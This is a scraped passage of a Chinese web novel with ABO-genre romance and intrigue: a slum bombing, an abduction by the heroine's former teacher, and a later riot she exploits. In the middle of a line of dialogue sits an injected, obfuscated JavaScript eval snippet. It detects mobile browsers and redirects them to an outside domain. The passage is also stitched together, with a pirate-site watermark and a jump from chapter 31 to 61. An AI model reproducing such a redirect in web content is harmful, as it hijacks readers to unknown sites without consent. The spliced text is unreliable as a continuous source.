碍于我之前的交代,他真的乖乖没有动弹,而是抱紧了档案袋。 “现在你们打算去哪里?”车主人问道。 我让自己持枪的那只手微微发抖,嘴唇也跟着抖。 深呼吸一口气,我对车主人说:“去军区关卡。” 话音落下,车主人惊讶回头,恰好撞见我复杂的表情。 他的瞳孔微微收缩,而我也被吓住一般慌忙低下头。 就在此时,车内的通讯提示音响起。 车主人微微露出无害的微笑,“我可以接听吗?” 他没有给我回答的机会,干脆利落地按下了接听键。 几乎是接听的下一秒,我就听到了熟悉的声音。 “霍里先生,我是斯科特莱文。我这边显示我手下有人的定位和你发出的信号的定位重合,方便处理一下吗?” 我:太好了,莱文你终于不再扮演熟睡的丈夫了吗? 不对!霍里又是怎么回事! 所以眼前这个omega也是霍里家族的吗?我难道有什么踩雷技能,专门以莱文为圆心奥维拉为半径,把他们周围认识的朋友全部都踩了个便?—— 作者有话说:噶哈哈,人夫来了(搓手.JPG) 霍里人夫别看有孩子,其实今年才33岁啦,当初15岁就被人骗着生小孩了。而他的孩子今年也刚好18岁呐。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 30.第 30 章 莱文的目光落回我的身上。 他还在对几天前的争吵耿耿于怀,甚至还记恨我和奥维拉之间的关系。 他扯开一个讥讽的笑,“白无用,你不是很清高自尊么?现在又是什么作态?想要我把你带走?” 不是,你怎么那么会猜呢? 之前你可是很好糊弄的!原来跳出感情圈套后你那么难搞吗? 我很想狡辩一下,但很显然现在不是狡辩的时机。 于是我的目光深沉又复杂地注视他,然后颓废地回应,“你总是……算了,你就这样想吧,反正我都习惯了。我只是很奇怪,为什么你们会那么急切地想要离开贫民窟。如果我没猜错,克斯蒂离开后你和奥维拉也会离开。” “哪怕你们不带我走,起码也要告诉我到底会发生什么。” 看起来卑微,又逆来顺受,却能够精准踩中这个天龙人脆弱又敏感的神经。 莱文的嘴唇紧紧抿住,一副想要怒骂我却找不到合适理由的无能狂怒小模样。 呵,我都任由你打你骂了还想怎样?不要无理取闹好不好? 他就这样用阴翳的眼神盯着我好一会,突然嗤笑,“你想知道?” 我目光诚恳点头,望向他的视线里多了些希冀。 莱文靠近我,两条长胳膊缠上我的脖颈,用裹挟明显恶意的语气对我说:“白无用,我可以再给你一次机会。” 我略感不适地移开脑袋,又被他掰回去与他面对面。 “最多两天,不,一天半的时间,上面就会安排点燃贫民窟地底下的炸弹。”他看着我的眼睛满含恶意说道,“克斯蒂家族的人已经准备强制带走克斯蒂,我也会在今晚九点前带着奥维拉去东区港口。” 我的呼吸猛然加重。 眼前人的眼睛不断放大,熟悉的鸦色过分贴近,让我想起了某些色彩浓郁的记忆。 而这一抹熟悉的色彩还在接近,让我差点呼吸不过来。 “在九点前来东区港口,我可以带你走。你必须为我所用,在合适的时候成为奥维拉出轨的人证,让他乖乖上处刑台。” 我的嘴唇挪动,眼神有些震惊地看着他。 “莱文!”我面露痛心,“奥维拉是你的……” “你只有两个选择!”莱文打断我,阴森冰冷的目光死死缠着我,如同吐出蛇信子的海蛇,“活下去,和死在贫民窟。” 我猛地推开他,“你明知道我不想伤害你们任何一个人!” 莱文被推得一个踉跄,却没有生气,反而更是讥讽,“白无用,希望今晚九点前你还是这幅自尊的模样。” 哎哟我透的,这个毒夫有够mean的。 但主动权被人拿走让我出现强烈的焦虑感。 我知道,这两个选择无论我怎么选,我的前路都会被毒死。要是我真的毫不犹豫跟着莱文去上行城,后续等莱文弄死奥维拉,我就会沦为第二个被清算的对象。 太恶毒了!这群天龙人怎么可以这样戏弄我这样的可怜人! 我只是想要好好活下去啊! 我愤怒的眼神竟然把莱文逗笑了。 他嘴角的讥讽转为愉悦,居高临下地摸一摸我的面颊,“白无用,你其实连选择的权利都没有。” 我靠!这人用我的话骂我! 瞧着omega男性重新返回病房,我站在走廊里一动不动。 路过的护士和我交换了个眼神,我知道交给他的事情办成了。虽然现在杀了那个猪头经理毫无意义,但答应了人的事情我还是得说到做到。 “我只是给你提供一个与她见面的机会,至于能不能把握住机会,和我无关。”我对他说。 “足够了。”护士笑容甜美,“你只要给我梯子,我就能自己爬上去。” 他的背影消失在走廊的转角,我简单扫一眼就收回视线。 焦虑和烦躁再一次爬上来,弄得我心脏沉闷。 算计来算计去,却总是计划赶不上变化。 那群天龙人不是蠢猪,不会乖乖地坐在那等我算计,于是我的计划只能变了又变。 每当我以为事情好不容易安稳下来时,又会有新的意外出现然后打乱我从前所有的计划。 奥维拉,克斯蒂和莱文三人看起来能为我做点什么,可真到了关键时刻根本没用。好不容易莱文愿意松口了,却要我透支。 草他爸的!他们就不能不求回报地帮我一次吗?为什么总要拿一些我支付不起的报酬? 他们从底层小牛马身上搜刮利益的时候怎么不见得那么有利益交换精神? 我又笑了,被自己气笑了。 透他全家大爸的,真是好日子过久忘记自己也是底层小牛马,是属于他们交换利益的一部分了。 就这样站在走廊里几分钟,我拿出了通讯器找到阿丽,将今天得知的消息全部都发送过去,毫无隐瞒。 我总得有个地方落脚,不管这个落脚的地方安不安全。 我此前真他爸的是被蒙了眼,以为加入组织就会被威胁生命。 笑死,这狗屎的世界无论在哪边都得死,谁还分个高低贵贱啊。 对面很快发来一个“?”,在我一通解释后,她又把让我把入会费结算一下。 一百块钱不是要我的命吗? 不给! 把老旧的通讯器装进口袋里,我站在病房门口,清楚地听见里面克斯蒂和莱文的争吵声。 我听了个大概,主要话题围绕在“贫民窟到底发生了什么”这件事上。可惜克斯蒂的脑子不好使,怎么问也问不出来。 而莱文又总是被克斯蒂攻击性十足的怒骂激怒,久而久之也跟着怒骂争吵,丝毫不给克斯蒂面子。 吵就吵呗,我无赖地想。 两个没用的废物,干脆你们一气之下同归于尽算了。到时候贫民窟爆炸,你们连尸体都不用火化,直接炸飞上天为贫民窟美化做贡献。 趁着他们吵架,我去卫生间先把头发弄乱弄湿,然后把眼睛揉红,再酝酿情绪。 镜子中的女人面色苍白,神色萎靡憔悴,头发更是凌乱不堪,一副大受打击的模样。瞧着就是一个饱受生活压力,身心痛苦的可怜老实人。 对,就是这样! 我回到了病房,两人的吵架戛然而止。 “无用?”克斯蒂皱起眉,“你到底和斯科特说了什么,怎么这幅样子?” “没什么。”我生硬扯开话题,“克斯蒂,再过不久你的家人就回来接你,对吗?” 克斯蒂表情一僵,又是一股怒意上涌。 “克斯蒂,我们谈一谈吧。”我低声说道,“就当做是朋友最后的道别。” 白发omega的眼眸微微瞪大。他抿了抿唇,跟随我离开了病房。 离开病房,我确认就拉住了克斯蒂的手,十指相扣。 omega下意识地收紧手掌,感受到女人手掌心还未干透的湿意,“你到底想说什么。” “道别。” “你不用那么担心。”克斯蒂的手指开始缠绕发丝,“就算我今天离开,等事情过去了,我就会回来。你担心我回去就嫁人,放心……” “回不来了。”我打断他。 克斯蒂顿感不悦地皱起眉头,“你又要说那些莫名其妙的话?贫民窟到底怎么了,你和莱文出去聊了一次,就这幅死样。” 我懒得继续听他说屁话,捧住他的脸就吻下去。 熟悉的栀子花味道,看来克斯蒂来之前喝了花茶。 等我把他松开,他便轻轻喘气,抓住我的衣袖,“白无用,你说清楚,莱文到底和你说了什么。” 我半真半假地把贫民窟要爆炸的消息告诉他,说完后果然看见了他暴怒的表情。 “你跟我走!”克斯蒂说道。 我苦笑,“我走不了,克斯蒂。莱文不打算带我走,而你的家族显然也不会允许我的存在。” 不过很快我就开始安抚他,假模假样地说:“其实我已经心满意足了,就算死也没有关系。不过我还认识一些其他的朋友,我可以提前去东区港口偷渡离开。” 克斯蒂:“……” “如果有机会,我们会再次见面的。”你就放一百个心吧,但凡我能离开贫民窟我百分百联系你的! 不然谁给我生活费,谁给我准备吃穿住行? 克斯蒂沉默片刻,拿出钱包取出厚厚的钞票塞给我,“白无用,只要你离开贫民窟,我有的是办法找到你。” 克斯蒂果然比莱文有用! 芜湖! 和克斯蒂黏黏糊糊好一会,我们等到了前来接克斯蒂的人。 他们全副武装,鄙夷周围的一切,连带着医院里的医生都被警告离远一点。 呵,就他们这个狗屁的态度,但凡克斯蒂少了家族的保护第二天就会被打晕拐卖。 我目送他们离开,然后躲在角落里给克斯蒂透去一个复杂的眼神。 反正距离隔得比较远,让他慢慢品味去吧。 回到病房,奥维拉依旧昏睡不醒。 莱文翘着腿坐在一边,绷紧的西装裤下是纹路清晰的衬衫夹子。 我则是坐在了奥维拉的另一边,一言不发。 “考虑如何?” 我垂下脑袋,不给他看见自己的表情,手却抓住了奥维拉,“我拒绝。” 莱文猛地站起来,绕过奥维拉就拽起我的衣领强迫我抬头看他。 “白无用!” 我直直撞入他的视线里,“这就是我的选择。如果你要以出轨的罪名逮捕我和奥维拉,让我们去坐牢,我认!但你要我诬陷奥维拉让他上处刑台, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15923142|174667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绝无可能!” “哈!你真是清高啊。”莱文怒极反笑,“他是你第一个床伴?所以你要把那狗屁的清高跟他系在一起?” “这根本没有关系!”我反而拽住他的手,“如果你和奥维拉的身份对调,我也会做出同样的选择!” “狗屁的身份对调!奥维拉不过是个幸运爬上来的贱种,根本没……” 我一巴掌把他打歪。 莱文的怒骂也戛然而止。 我面无表情,“莱文,你到底想要从我这里得到什么东西?” omega男性手撑住病床的支架,视线一点点爬上昏睡的人,突然就裂开有些神经质的笑容。 我被他的笑弄得有点头皮发麻。 我透,该说你和奥维拉不愧为法定配偶啊,发起疯来都一个样。 “你以为我要什么?”莱文缓缓穿过头看我。 熟悉且黏糊的视线,从我的手往上蔓延,然后聚焦在我的眼睛。 他过分白皙的面颊上还印着巴掌痕,鲜红一片,好像把他某种东西也跟着打碎了。 “白无用,应该是你想从我这里要什么。”莱文呢喃说道,“真可笑啊,白无用,你想要的东西奥维拉不会给你,我也不会给你。” 你是说钱和权吗? 确实哈,你俩人都是废物,别说钱和权了,现在命都不给我呢。 我正游神天外呢,哪知莱文突然逼上来拽住我的衣领就开始亲。 又密集又深重,简直是牙齿舌头一起用,要把我吃了! 我靠!病床上还躺着个当事人呢! “莱文!” 他不管不顾,扯开我手掌的纱布,又解开自己的衬衫。 我生怕这大动静把奥维拉震醒了,赶忙把他的衣服捞起来,然后连着人丢进了隔壁的陪护休息室内。 这人又开始缠人,还是那种奔着把人勒死的力气缠,弄得我腰部抽疼。 不仅如此,他还放开了叫,被我堵住嘴就喘。 止不住他,我就只能在其他地方下功夫,成功让他短暂停歇片刻。 莱文的额头磕在我的肩膀上,汗水从鬓边落下,顺着下巴落在我那还没来得及愈合的伤口上,又痒又疼。 他就手指去抠,抠得指甲缝上都是血污。 恍惚地盯着血污一会,莱文就用这只手撑住我的下巴,又开始细细密密地吸吮我的下唇。 “白无用,跟我去上行城。”他说道,“我可以放过奥维拉,我甚至可以让你进法院。” “跟我离开,要么就死在这。” 我静静看了他几眼,然后把手收回来。 omega男性的表情又陷入瞬间的怔愣。 “可你无法给我想要的东西。”我回答。 还不到时候,还有点事情没完成。 我将纱布重新缠回手臂,瞥一眼病床上的人,又看看身后没有关上门的陪护休息室,然后大踏步离开病房。 我又想笑,感觉腮边的肌肉开始轻微颤动。 莱文给的条件真诱人啊,那可是法院。 我要是有本事往上爬,指不定真能做法官呢。 看一眼通讯器,现在的时间是傍晚五点三十分左右,距离晚上九点还剩下三个半小时。 足够了吗? 我自问自答:应该足够了。 我又给阿丽发送了条信息,然后前往图书馆。 这图书馆真难杀啊,今天总算是要飞天了,我要亲自去庆祝一下! 花了几十分钟,我终于来到图书馆。 破破烂烂的小平房,门外贴了各种乱七八糟的广告。 阿丽不在这。 我用通讯器给它拍照。 好歹是我喜欢的第一座图书馆,虽然里面垃圾的心灵鸡汤很多,但让我懂了点天龙人的想法。 “呵。”我笑了一下。 然后图书馆就爆炸了。 我草! 说好的晚上九点前呢!这都还没到九点啊! 我狼狈地躺在地面上,浑身火辣辣得疼。 虽然我有意识地拉远了距离,却还是被滚烫的热浪击倒,飞出去好几米远。 冲天的火光让我眼前恍惚一阵。 耳朵不断发出刺耳的鸣叫,有什么人由远到近地走过来,最终停在了我的身旁。 头发被人抓住了,往上一抬,我看见一双鸦色的眼睛。 这双熟悉的眼睛从七年前的记忆里钻出来,然后成为现实,连着里面的情绪都那么熟悉。不过从前这些情绪是对着其他人,现在对着我了。 他一只手固定我的脑袋,另一只手则是拍打我的面颊,“好久不见啊,白无垠。” “你看看你这段时间多没礼貌,一口一个昂撒地叫。白无垠,你从前叫的可是‘老师’啊。” 31.第 31 章 alpha男性生得高大,鸦色的眼睛,灰黑色的短发,衬衫松松垮垮穿着,衣角还沾染了些许灰尘。 就算是半蹲,也能感受到扑面而来的热浪,那是爆炸后的粉尘味,呛得白无垠轻微咳嗽,眼角挤出泪花。 可现在的她动弹不得。直面爆炸所带来的副作用很强大,不仅头晕眼花,还伴随阵阵耳鸣。 撑着她脑袋的手晃了晃,连带她的视线也跟着晃荡。 “怎么不说话?之前不是很能说的吗?”他笑着说道。 他的五官辨识度极高,哪怕是一片雾蒙蒙的视野内,白无垠也能看见对方眉毛和嘴唇挪动时的肌肉纹理。 通过面部肌肉纹理的变化去甄别一个人的微表情,还是他亲自教导的。 见白无垠一言不发,昂撒便有些不耐烦地继续拍打她的面颊,“来,叫一声老师听听。七年没听你叫了,多少有点怀念。” 白无垠总算听清楚他说了什么,于是熟悉地扬起一抹笑,喊了一句:“老师,好久不见啊。” 如他所愿喊出来,可他脸上笑容又在一瞬消失了。 他目光沉沉地注视白无垠,翻涌的某种情绪不受控制地扯动眼角的肌肉,之后便极致压抑地开口:“白无垠,是不是很后悔?当初只是割破我的腺体,却没有弄死我?” 提起七年前的过往,白无垠觉得没有狡辩的必要。 她是什么德行,昂撒一清二楚,找再多理由反而死得更快。 于是她笑眯眯地对上昂撒的视线,“确实很后悔,老师。但你也该高兴啊,我不手软一下,你还有机会见我吗?” 话音落下,一股巨大的力道将白无垠的脑袋摁在了地面上! “砰!”的好大一声,额头撞上坚硬的地面,立刻擦出血花来,让白无垠又是一阵头晕眼花。 但她没那么坐以待毙,于是在昂撒准备再给她来一下时猛然挣脱,从后腰的口袋里掏出短刀对准了昂撒的脖子就来划过去! 昂撒稍稍侧头就躲开了她的偷袭,手腕一转再次抓住她的脑袋第二次磕在地面上。 这一次的他手下没留情面。 等白无垠晕过去,昂撒拽住她的一条腿站起来,长腿随便一踢把短刀踢开,就那边停靠的越野车走去。 beta女性被他托在后面,流出的血在地面留下长长的一道痕迹。 昂撒一边拖人,一边自言自语地说话。 “白无垠,你可真是个白眼狼啊。” “我教你读书写字,教你打架杀人,教你经营算计,我还教你怎么和alpha上床不被标记。” “你倒好啊,穿上裤子第二天就敢拿刀对准老师。” 昂撒越是说,就越是笑,笑得腮帮子的肌肉发疼。 昏迷的白无垠自然无法回答他,双眸紧闭,满脸是血,一副命不久矣的模样。 简直和当初第一次见面时一模一样。 瘦弱的一个人,眼神却和狼似的,凶狠又精明。 到了越野车旁,昂撒拉开车门,将白无垠提起来丢进去。 强烈的震感让白无垠清醒过来,睁开第一眼就看见坐在座位上点烟的昂撒。 他也知道白无垠醒过来了,却还是慢条斯理地吐一口烟雾才看过来。昏暗的车厢内,白色的烟雾遮挡住他一部分的五官,只剩下一张深红色的唇清晰暴露。 “呵。”他又开始拍打白无垠的面颊。 这个动作他做了无数次,七年过去了也不见得生疏。 紧接着,就是一口浓雾吐在白无垠的面颊上。 “咳咳咳!”白无垠开始咳嗽。 昂撒又开始笑。先是轻笑,然后是大笑,笑得胸膛起起伏伏,将布满伤痕的胸膛从衬衫里挤出来。 随着他的动作,白无垠看见他的头发落下来,露出后脖颈处一道狰狞的伤痕。 白无垠盯着那伤痕许久,突然说:“你的腺体,好了?” 昂撒的笑声戛然而止,阴涔涔地视线扫过来。 白无垠继续问:“白矿石的作用,和alpha和omega到底是什么关系。无人区里那么多alpha和omega,beta却只有那几个。就连beta生下的孩子,都是alpha和omega。” “前几天你的几个alpha下属,也是突然腺体出现问题,然后用白矿石粉末安抚下来。” “老师,我在无人区待了十六年,我比你这个半路出来的人更了解白矿石。就算它们碾成灰兑成水,我看一眼就一清二楚。” 莱文道出“昂撒”这个名字之前,白无垠根本不知道眼前alpha的名字。 他始终让白无垠以“老师”的称呼来叫他,行为举止也和那些被送到无人区的底层人截然不同。 那些监工拿他没办法,打也不是骂也不是,也没有多么谄媚,全把他当成一个透明人。 想到贫民窟自21日开始的乱动,白无垠问:“你和莱文,是什么关系?” 车厢内一时间陷入寂静。 香烟烫了昂撒的手指,被他随手摁在烟灰缸内。 许久,昂撒缓缓开口,“怎么?那个omega你不喜欢?他的眼睛和我多像啊,你上他的时候想起我了?” “所以那天你才会丢诱发剂?” 昂撒嗤笑,算默认了。 白无垠:“……老师,你还是和从前一样变态。” 亲手把替身送到学生床上这种骚操作,果然只有昂撒这个变态能做到。白无垠就不行,白无垠只能含泪把人撅了。 白无垠此时心情有点复杂,又有点死。 脑壳子很疼,还在往外渗血,感觉再过不久她就得失血过多死了。 于是她按照昂撒的习惯在车厢内摸索一番,果然找到了纱布,自己给自己包扎起来。 “所以老师要你杀了我?” “刚开始想。”昂撒说道,就这样看着白无垠包扎脑袋。 等她包扎后,昂撒一只手掐住白无垠的后脖颈,拇指在那块肌肤上摸索,“不过我改变主意了。” “你是我的学生,我怎么舍得杀你呢?” alpha男性的气息逼近,那灰尘味更加浓郁,几乎钻进白无垠的鼻腔里。 想到某种可能,白无垠面色骤变,抬起手肘毫不留情撞上昂撒的太阳穴。 针管从昂撒的口袋跌落,白无垠手疾眼快地抢过针管将其砸碎! “我草!”白无垠爆粗口,“鬼才做alpha!” 昂撒面无表情,被肘击后只是短短眩晕一秒,就再次压制住了白无垠,从另一边口袋拿出崭新的针管,然后对准了白无垠的后脖颈。 那一块肌肤常年不见光,白得过分,轻易就能找到合适下针的地方。 眼见针就要捅进去了,白无垠焦急万分,“老师!我要是变成alpha,你不就是a同了嘛!你不要这么快放弃自己啊!” 昂撒却冷笑一声,压制的手力气更重,“你艹的beta还少么,还在乎a同?” “这能一样吗?这不一样啊!”白无垠破防,“我不要做有机物!” 奇怪的词语蹦出来,昂撒不耐烦皱眉,针管直接往下扎! “阿丽你个天杀的,再不快点我就要变性了!” 昂撒瞳孔皱缩,“白无垠!” 下一秒,越野车被另一辆车猛地冲撞侧翻! 越 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阿丽不理解都这个时候了为什么白无垠还想杀一个无关紧要的人,却还是听话地将她轻轻放在一边,朝着昂撒攻去! 一声枪响,阿丽敏捷躲开,并拉近了与昂撒的距离。 爆炸声越来越近,两人只能速战速决。 白无垠歇了一会,就咬牙爬起来,跑过去加入缠斗。 她下的是死手,用的是车窗玻璃碎片,每一次都对准了昂撒的大动脉。 而不远处,也跑来几个昂撒组织的下属。 时间不多了! 白无垠的鼻尖落下汗水,手掌心已然血肉模糊。 “轰!” 又是一声爆炸。 趁着这最后的时间,白无垠高高举起碎片,朝着昂撒的大动脉划过去! “噗嗤!” 血撒了她半张脸,可落手的地方不是大动脉,而是熟悉的腺体。 “唔!”昂撒浑身一僵,鸦色眼眸猛然瞪大,捂住那被第二次划破的腺体连续倒退好几步。 白无垠想乘胜追击,可阿丽却直接将她扛起来往外跑! “阿丽!” “没时间了!”阿丽说道。 于是白无垠只能看着昂撒的身影在视野内越来越小,越来越小。 手心的面颊还是热的,裹挟着浓郁的灰尘气味。 她分不清那是爆炸产生的硝烟,还是昂撒本人的信息素。 在白矿石的作用下,她也感觉到后脖颈有些发热。她应该是沾染了针管内的液体。 视野中,alpha男性的脸渐渐消失,只有那双鸦色的眼睛迸发出惊人的情绪还留存在脑海中。 简直和七年前如出一辙。 “阿丽,你是有机物吗?” 阿丽整扛着她上蹿下跳,听到这个问题反应了一会,反问说:“难道你是有机物?” “我当然是无机物!” “哦,我也是。” 太好了,alpha女性是无机物。 白无垠眼前开始模糊了。 但她还是不想做alpha,于是用最后的力气举起手中的碎片划开后脖子。 痛一痛,也好过成为被信息素支配的动物。 昏迷之前,白无垠语重心长嘱咐阿丽,“你一定要把我放对位置啊,我赶不上会死的。” “好。”阿丽点头。 白无垠这才放心晕过去。 可惜,都做到这个程度了还是没能杀了昂撒。 60-70 第61章 爆炸,尖叫,哭喊,还有什么? 整个上行城到处乱七八糟,警卫人手严重不足,甚至因为叛乱党突如其来的偷袭让军事区也陷入混乱中。 我拽着卡诺卡往前跑,还要时不时躲避迸溅出来的弹片。 但娇生惯养的小少爷根本承受不住这样高强度的奔跑,没一会就气喘吁吁开始哭喊,嚷嚷让保镖开车送他离开。 我没空管他,只要确保他能活着就行。 只要能活下去,团长就不至于弄死我,我也有足够的筹码去谈判。 抽空往后看一眼,我忍住了笑。 第一声爆炸是组织干的,至于后面的爆炸完全是昂撒弄得。 他有野心,有手段,像是一只闻到肉味就穷追不舍的豺狼虎豹。他知道这是我送给他的机会,能不能把握完全看他自己。 停火协议?哈,那是有道德的人才会遵守的东西。要是他能趁此机会从上行城和白灯湾身上啃下一大块肉来,谁还在乎道德不道德的虚假玩意? 在巨大的利益面前,他不会在意我的。 跑到距离关卡较远的地方,我的眼前有些晕,应该是拉扯到伤口开始渗血了。 不过我没空管这些,而是将卡诺卡塞进车里。 刚才的场面太混乱,保镖们四散而逃,能跟上来的只有两三个。 “现在开车离开!”我也跳上车,对其中一个保镖说。 不知道是谁忽然高呼,“那是陪审团团长的养子!” “跟上他!跟上他就能活下去!” 卡诺卡惊魂未定坐在后座,根本不明白那些人为什么喊出他的身份,只是抓紧我的手,力气大到差点掐进纱布里。 我疼得额头冒冷汗,催促保镖赶快开车。 保镖点头,踩下油门。 关卡的地理位置不怎么好,尤其是在这种混乱的情况下,车辆颠簸的情况简直像一条大马路上想不开地疯狂铺设减速带。 哈哈,虽然不是减速带,但也差不多了……住脑,这个时候就不要再想地狱笑话了! “这些叛乱党都是疯子!”大概是以为自己安全了一点,卡诺卡又恢复了盛气凌人的模样,对窗外的人破口大骂,“讨人厌的疯子!都应该去死!” 我没回话,任由他抓着我的胳膊发泄唾骂。 因为我知道,他这一幅样子持续不了多久。 三。 二。 一。 “砰!” 子弹穿过玻璃,打中了开车保镖的脑袋! 一下子,车辆开始疯狂甩动! 副驾驶的保镖立刻上前抓住车辆方向盘,企图控制车辆,却被下一颗子弹击中大脑倒下去! “啊啊啊啊!”卡诺卡又一次爆发出刺耳的尖叫。 子弹擦着他的面颊过去,又把他的尖叫堵在喉咙。 吓破胆了吗? 太好了,你终于意识到死亡距离你很近。 阁新的枪法真好。我内心想道。 又一颗子弹击中了车辆的轮胎,整个车身因为惯性在原地疯狂打转。 “刺啦——” 卡诺卡扑进我的怀里,崩溃又害怕地紧紧拽住我的胳膊。 我的另一只手就拽住上方的拉环,尽可能地保持平衡,同时在卡诺卡的耳边安抚他:“没事的,我在,诺卡。” 我都付出那么大的代价了,回头你就跟你妈说一下我的丰功伟绩呗。也不指望订婚,就让你妈别再坐山观虎斗了,好好下场给我分点肉吃呗? 要今天之后还不行,我真没招了,我真的要投奔昂撒做有机物了。 我不想做有机物!我也不想做有机物去艹有机物啊! 一阵天旋地转,车辆终于停下来。 我又拽上卡诺卡打开车门,可对方不愿意离开车。 “我不要下去!”卡诺卡早就不是精致的小少爷了。 经过刚才惊心动魄的逃亡,现在的他要多可怜有多可怜,一张嘴也不再说不过脑子的话,而是低声下气地祈求,“白无用,不要出去!他们会杀我!我不要死!” 肮脏的灰尘布满他的脸,留下的眼泪又反复冲刷,还有那一道鲜红色被子弹划伤的痕迹,让他看着就像是从温室摘下来突然丢到地上的花,凄惨可怜。 为了不离开车辆,他又哭又颤抖,“别出去,我不想死呜呜,我不想死!” 我就这样看着他,目光落在他紧抓我手臂的手指上。 刚开始我还耐着性子安慰,“没事的,诺卡,跟我来,我们必须赶快撤离到安全的地方。” “我不要!我不要,求你了!” “叛乱党随时可能冲破关卡,如果被他们抓住,你会被枪决的。” 卡诺卡拼命摇头,“不要!你留下来保护我,你要保护我!” 我一个巴掌打在他的脸上。 清脆的巴掌声在车厢内响起,卡诺卡表情呆滞看着我,眼角还有没来得及掉下去的眼泪。 终于安静后,我强势地把他拽出车辆然后打横抱起,脚步快速地朝着规定好的路线跑去。 重申一遍,我是个绅士,一般情况下我不会使用暴力手段。 除非对方是个不听话的蠢货。 这是一段很长的距离,躲过慌乱逃跑的人群,还有各种迸射的弹片。 我仔细观察周围的环境以及头顶变幻的光影。 太阳彻底落山,阴影覆盖了整片大地,我和卡诺卡终于来到了较为安全的地方。 短短两个小时不到的时间,上行城各地的混乱得到压制,随之而来的是爆炸的舆论。 新闻记者早已经准备多时,迫不及待地跑上前将话筒对准卡诺卡和我,闪光灯的亮度堪比中午的太阳。 “卡先生,请问这一次被歹徒劫持您是什么心情呢?” “这位女士和您是什么关系?” “有消息透露陪审团团长有意给您挑选订婚对象是真的吗?” “对于劫持您的歹徒,您知道他是叛乱党成员吗?” “您知道此次暴乱的内情吗?您能详细描述一下被劫持的过程和其中细节吗?” 卡诺卡依旧傻愣愣,不知道该怎么反应。 他还是死拽我的手臂,面对接连不断潮水般的问题,根本不知道怎么回答。 我则是随手抓住一个摄像机狠狠砸在地上,“闹够了吗?” 众人安静。 我眼尖地看见团长安排的车辆过来了,于是趁众人呆若木鸡的机会护着卡诺卡拨开人群。 车门打开,我看见终于不再挂着亲切笑容的卡特勒。 “受惊了,诺卡。”卡特勒招呼卡诺卡,“坐上来吧。” 说罢,她又朝我招招手,“年……无用,你也上来,这次多亏你了。” 我坐上了车,关上车门隔绝记者们的视线。 在车门与外界逐渐缩短的缝隙中,我看见了记者们那短短几秒钟变换的眼神。 那不再是观看能够用来取乐和捏造花边新闻底层人的眼神,而是看即将进入权利圈子好奇又克制且畏惧的眼神。 这只是冰山一角,就足够让我心脏飘起来。 如果我接触到后面的庞然大物,他们又会是什么表情呢? 我有一瞬间的放空。也许真到那个时候,我根本就不会在意他们的表情了。 权利带来的傲慢,足以将底下一切的东西视为尘埃。 车厢内气氛有些诡异。 宽敞豪华的轿车内足够坐下六七个人。 私人医生正小声哄劝卡诺卡松开我的手臂,低三下四又小心翼翼地替他清理面颊和处理伤口。 另一位医生则是询问我身上的伤口来源。 “高温,弹片,还有挫伤。”我回答医生,“麻烦你帮我打破伤风。” 医生受宠若惊,“不麻烦!” 前方的电子屏幕正在播放直播。 我和卡特勒的视线一起聚焦屏幕内的人脸上。 杜塔利雅同样浑身是伤,灰头土脸。 可她眼神坚毅,像是一头刚刚与猛兽缠斗活下来的狮子,纵横在她脸上的皱纹如同岁月留下的疤痕。 “我无法忍受上行城和白灯湾做的一切!我无法再与她们同流合污!” “我是她们为了掩盖罪行推出来的替罪羊,是她们选中杀死十几万人的刽子手!” “叛乱党是她们扣在我头上的帽子,但我知道我的内心向往正义!” 观看直播的人数越来越多,建立在克亚区公民面前的信息壁垒被打破。人们终于知道了贫民窟的存在,知道十几天前轰然炸响的爆炸来自于什么地方。 那不是工业区,也不是什么做实验的工厂,更不是军事演练。而是十几万人死亡后发出的最后哀嚎,是十几万的灵魂痛苦的悲鸣。 “上行城的人看不起你们,白灯湾也不在乎你们!你们就这样被蒙蔽在虚假的繁荣里,成为牺牲品!我们不是为了利益,我们在为了你们战斗!” 杜塔利雅是不是叛乱党卡特勒比谁都清楚,但这会杜塔利雅直接成为叛乱党让卡特勒比谁都迷糊。 我在旁边装无辜装得很辛苦。 这事可能有点绕,但确实如此。 我假装不知情,卡特勒知道我在假装不知情,而我也知道她知道我在假装不知情,她也知道我知道她知道我在…… 总之很绕,反正心知肚明就行了。 卡特勒连假笑都没有了,绷着一张老狐狸脸看直播。 我也跟着她一起看直播。 很快,屏幕又转换了视角,是刚才军事区关卡的回播。 此时混乱已经平息,记者站在被爆炸轰碎的房屋前仔细播报刚才发生的事情,顺便介绍混乱期间发生的细节。 当回播中出现我和卡诺卡的脸,记者的表情有短暂的复杂和微妙,但强大的职业素养让她恢复平静,继续客观地讲述。 卡诺卡不懂车上的氛围为什么那么奇怪,在处理伤口后还是靠紧了我。 直到新闻结束,卡特勒才面无表情转过头看我,语气微笑,“年轻人学习能力就是强啊,这才多久,你就有能力做大事了。” 我回报谦逊的笑容,“还要多亏团长大人给我的学习机会。” “不装了?”她问。 “事到如今,再装下去我就得死了。”我回答,“您也是从底层上来的人,您肯定能理解我的做法。” 只要能活命,只要能往上爬,无论做什么都可以。 杜塔利雅因为孩子恨不得弄死我,也会因为活下去的机会配合我。 她才四十多岁,一个孩子而已她还可以再找一个omega生育。但命只有一条,在*活下去之后更是另一个权势圈子的橄榄枝,她大可以放手一搏。 对杜塔利雅而言,到哪不是阴谋算计?不过是从有编制变成野路子,她很快就能上手。 “……呵。”卡特勒最后还是扬起了虚伪的亲和笑容,拍了拍我的肩膀,语重心长说:“明天好好准备吧,无用。今天之后,你的选票会比霍里家的柯里亚纶还高。” 事到如今,压制舆论只会让克亚区的人陷入焦躁中,再加上杜塔利雅一番煽动人心的话,克亚区迟早发生暴乱。 在还没有到那个地步的时候,上行城还是很需要克亚区的人来处理各种垃圾的。 我下意识摸了摸垂落在肩膀上的黑色狼尾,“谢谢您的赏识,团长大人。” 卡特勒“呵呵”假笑两下,忽然眯起眼睛,“我已经派人去克亚区把你的弟弟接过来了。” 笑死,你不说我都忘了这一茬。 